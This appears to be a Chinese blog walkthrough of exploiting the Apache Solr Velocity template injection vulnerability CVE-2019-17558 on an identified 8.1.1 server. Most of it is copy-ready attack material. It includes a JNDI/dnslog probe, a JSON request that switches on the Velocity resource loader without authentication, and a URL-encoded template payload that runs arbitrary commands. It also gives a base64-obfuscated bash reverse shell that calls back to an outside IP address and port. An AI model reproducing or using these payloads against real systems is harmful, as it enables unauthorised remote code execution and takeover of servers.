一、Apache Solr代码执行漏洞（CVE-2019-17558）简介

Solr是Apache Lucene项目的开源企业搜索平台。 其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成，以及富文本的处理。 2019年10月30日，国外安全研究人员放出了一个关于solr 模板注入的exp，攻击者通过未授权访问solr服务器，发送特定的数据包开启 params.resource.loader.enabled，然后get访问接口导致服务器命令执行。

影响范围：

  • 5.0.0 到 8.3.1版本

二、首页

image-20240922205933443

发现是8.1.1，存在CVE-2019-17558 漏洞

三、手工payload

1
http://xxx.com/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.xxx.dnslog.cn}

image-20240922212059152

成功执行命令，获取java 的版本号

四、开启 params.resource.loader.enabled

未授权访问 /solr/demo/config，并且用BP改包。Content-Type修改成application/json

1
2
3
4
5
6
7
8
9
10
{
        "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
        }
}

image-20241012210937378

五、通过Velocity模板执行任意命令

1、执行任意命令

1
http://xxx.com/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

image-20241012211234005

2、反弹shell

修改中间base64内容即可

1
http://xxx.com/solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-c%20{echo%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMTkuMjkuNjcuNC85ODk3IDA%2BJjE%3D}|{base64%2C-d}|{bash%2C-i}%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

六、利用脚本或工具

有关CVE-2019-17558 漏洞利用脚本在GitHub上有很多

msf 也内置相关利用